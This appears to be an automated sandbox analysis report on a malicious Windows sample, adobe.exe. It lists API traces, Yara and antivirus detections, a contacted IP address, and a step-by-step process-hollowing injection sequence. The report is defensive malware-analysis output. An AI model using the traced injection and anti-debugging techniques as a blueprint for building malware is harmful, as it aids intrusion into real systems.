NtAllocateVirtualMemory Dec. 2, 2021, 1:38 p.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (2 events)

cmdline	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping bing.com
cmdline	powershell ping bing.com

A process created a hidden window (2 events)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW Dec. 2, 2021, 1:37 p.m.	show_type: 0 filepath_r: powershell parameters: ping bing.com filepath: powershell	1	1	0
ShellExecuteExW Dec. 2, 2021, 1:37 p.m.	show_type: 0 filepath_r: powershell parameters: ping bing.com filepath: powershell	1	1	0

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses Dec. 2, 2021, 1:37 p.m.	flags: 15 family: 0		111	0

The binary likely contains encrypted or compressed data indicative of a packer (1 event)

section

{u'size_of_data': u'0x0000e800', u'virtual_address': u'0x00002000', u'entropy': 7.282523139497455, u'name': u'.text', u'virtual_size': u'0x0000e744'}

entropy

7.2825231395

description

A section with a high entropy has been found

Checks for the Locally Unique Identifier on the system for a suspicious privilege (4 events)

Time & API	Arguments	Status	Return
LookupPrivilegeValueW Dec. 2, 2021, 1:37 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Dec. 2, 2021, 1:37 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Dec. 2, 2021, 1:37 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Dec. 2, 2021, 1:38 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1

Yara rule detected in process memory (7 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Bypass DEP	rule	disable_dep

Uses Windows utilities for basic Windows functionality (3 events)

cmdline	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping bing.com
cmdline	"C:\Windows\system32\PING.EXE" bing.com
cmdline	powershell ping bing.com

Communicates with host for which no DNS query was performed (1 event)

host

185.230.162.254

Allocates execute permission to another process indicative of possible code injection (1 event)

Time & API	Arguments	Status	Return	Repeated
NtAllocateVirtualMemory Dec. 2, 2021, 1:38 p.m.	process_identifier: 2756 region_size: 167936 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000500	1	0	0

Potential code injection by writing to the memory of another process (2 events)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory Dec. 2, 2021, 1:38 p.m.	buffer: MZERèXè ÈÀ<ÁÀ(ÿá¸º´ Í!¸LÍ!This program cannot be run in DOS mode. $}f?9QH9QH9QH"úHuQH"ÏH:QH"ÌH8QHRich9QHPEL¤ÇMà \|@Ô@@.text\{\| ` base_address: 0x00400000 process_identifier: 2756 process_handle: 0x00000500	1	1	0
WriteProcessMemory Dec. 2, 2021, 1:38 p.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2756 process_handle: 0x00000500	1	1	0

Code injection by writing an executable or DLL to the memory of another process (1 event)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory Dec. 2, 2021, 1:38 p.m.	buffer: MZERèXè ÈÀ<ÁÀ(ÿá¸º´ Í!¸LÍ!This program cannot be run in DOS mode. $}f?9QH9QH9QH"úHuQH"ÏH:QH"ÌH8QHRich9QHPEL¤ÇMà \|@Ô@@.text\{\| ` base_address: 0x00400000 process_identifier: 2756 process_handle: 0x00000500	1	1	0

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2776 called NtSetContextThread to modify thread in remote process 2756
NtSetContextThread Dec. 2, 2021, 1:38 p.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4314176 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x000004fc process_identifier: 2756	1	0	0

One or more non-whitelisted processes were created (2 events)

parent_process	powershell.exe				martian_process	"C:\Windows\system32\PING.EXE" bing.com
parent_process	powershell.exe				martian_process	"C:\Windows\system32\PING.EXE" bing.com

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2776 resumed a thread in remote process 2756
NtResumeThread Dec. 2, 2021, 1:38 p.m.	thread_handle: 0x000004fc suspend_count: 1 process_identifier: 2756	1	0	0

The process powershell.exe wrote an executable file to disk (20 events)

file	C:\Windows\System32\ie4uinit.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe

Generates some ICMP traffic

File has been identified by 29 AntiVirus engines on VirusTotal as malicious (29 events)

Lionic	Trojan.Win32.Strictor.4!c
Elastic	malicious (high confidence)
MicroWorld-eScan	Gen:Variant.Strictor.265472
FireEye	Generic.mg.565dfda9e888025c
McAfee	Artemis!565DFDA9E888
Cylance	Unsafe
Cybereason	malicious.7598f7
Arcabit	Trojan.Strictor.D40D00
APEX	Malicious
Paloalto	generic.ml
Kaspersky	UDS:DangerousObject.Multi.Generic
BitDefender	Gen:Variant.Strictor.265472
Ad-Aware	Gen:Variant.Strictor.265472
DrWeb	Trojan.DownLoader44.8906
McAfee-GW-Edition	Artemis!Trojan
Emsisoft	Gen:Variant.Strictor.265472 (B)
Ikarus	Trojan-Downloader.MSIL.Agent
Gridinsoft	Ransom.Win32.Sabsik.sa
Microsoft	Trojan:Win32/Sabsik.FL.B!ml
GData	Gen:Variant.Strictor.265472
Cynet	Malicious (score: 100)
BitDefenderTheta	Gen:NN.ZemsilF.34062.vm0@aua!Bxo
ALYac	Gen:Variant.Strictor.265472
MAX	malware (ai score=80)
TrendMicro-HouseCall	TROJ_GEN.R002H09L121
SentinelOne	Static AI - Malicious PE
MaxSecure	Trojan.Malware.300983.susgen
Fortinet	PossibleThreat
CrowdStrike	win/malicious_confidence_90% (W)

Executed a process and injected code into it, probably while unpacking (24 events)

Time & API	Arguments	Status	Return
NtResumeThread Dec. 2, 2021, 1:37 p.m.	thread_handle: 0x000000dc suspend_count: 1 process_identifier: 2776	1	0
NtResumeThread Dec. 2, 2021, 1:37 p.m.	thread_handle: 0x00000154 suspend_count: 1 process_identifier: 2776	1	0
NtResumeThread Dec. 2, 2021, 1:37 p.m.	thread_handle: 0x0000018c suspend_count: 1 process_identifier: 2776	1	0
CreateProcessInternalW Dec. 2, 2021, 1:37 p.m.	thread_identifier: 2912 thread_handle: 0x000003a8 process_identifier: 2908 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe track: 1 command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping bing.com filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x000003b0	1	1
CreateProcessInternalW Dec. 2, 2021, 1:37 p.m.	thread_identifier: 1112 thread_handle: 0x000003c0 process_identifier: 2116 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe track: 1 command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping bing.com filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x000003d8	1	1
NtResumeThread Dec. 2, 2021, 1:37 p.m.	thread_handle: 0x000004c8 suspend_count: 1 process_identifier: 2776	1	0
CreateProcessInternalW Dec. 2, 2021, 1:38 p.m.	thread_identifier: 2796 thread_handle: 0x000004fc process_identifier: 2756 current_directory: filepath: track: 1 command_line: C:\Users\test22\AppData\Local\Temp\adobe.exe filepath_r: stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000500	1	1
NtGetContextThread Dec. 2, 2021, 1:38 p.m.	thread_handle: 0x000004fc	1	0
NtAllocateVirtualMemory Dec. 2, 2021, 1:38 p.m.	process_identifier: 2756 region_size: 167936 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000500	1	0
WriteProcessMemory Dec. 2, 2021, 1:38 p.m.	buffer: MZERèXè ÈÀ<ÁÀ(ÿá¸º´ Í!¸LÍ!This program cannot be run in DOS mode. $}f?9QH9QH9QH"úHuQH"ÏH:QH"ÌH8QHRich9QHPEL¤ÇMà \|@Ô@@.text\{\| ` base_address: 0x00400000 process_identifier: 2756 process_handle: 0x00000500	1	1
WriteProcessMemory Dec. 2, 2021, 1:38 p.m.	buffer: base_address: 0x00401000 process_identifier: 2756 process_handle: 0x00000500	1	1
WriteProcessMemory Dec. 2, 2021, 1:38 p.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2756 process_handle: 0x00000500	1	1
NtSetContextThread Dec. 2, 2021, 1:38 p.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4314176 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x000004fc process_identifier: 2756	1	0
NtResumeThread Dec. 2, 2021, 1:38 p.m.	thread_handle: 0x000004fc suspend_count: 1 process_identifier: 2756	1	0
NtResumeThread Dec. 2, 2021, 1:37 p.m.	thread_handle: 0x00000294 suspend_count: 1 process_identifier: 2908	1	0
NtResumeThread Dec. 2, 2021, 1:37 p.m.	thread_handle: 0x000002e8 suspend_count: 1 process_identifier: 2908	1	0
NtResumeThread Dec. 2, 2021, 1:37 p.m.	thread_handle: 0x00000444 suspend_count: 1 process_identifier: 2908	1	0
CreateProcessInternalW Dec. 2, 2021, 1:37 p.m.	thread_identifier: 3032 thread_handle: 0x00000448 process_identifier: 3028 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "C:\Windows\system32\PING.EXE" bing.com filepath_r: stack_pivoted: 0 creation_flags: 0 () inherit_handles: 1 process_handle: 0x0000044c	1	1
NtResumeThread Dec. 2, 2021, 1:37 p.m.	thread_handle: 0x00000490 suspend_count: 1 process_identifier: 2908	1	0
NtResumeThread Dec. 2, 2021, 1:37 p.m.	thread_handle: 0x000002a4 suspend_count: 1 process_identifier: 2116	1	0
NtResumeThread Dec. 2, 2021, 1:37 p.m.	thread_handle: 0x000002f8 suspend_count: 1 process_identifier: 2116	1	0
NtResumeThread Dec. 2, 2021, 1:37 p.m.	thread_handle: 0x00000454 suspend_count: 1 process_identifier: 2116	1	0
CreateProcessInternalW Dec. 2, 2021, 1:37 p.m.	thread_identifier: 2180 thread_handle: 0x00000458 process_identifier: 2188 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "C:\Windows\system32\PING.EXE" bing.com filepath_r: stack_pivoted: 0 creation_flags: 0 () inherit_handles: 1 process_handle: 0x0000045c	1	1
NtResumeThread Dec. 2, 2021, 1:37 p.m.	thread_handle: 0x000004a0 suspend_count: 1 process_identifier: 2116	1	0

adobe.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All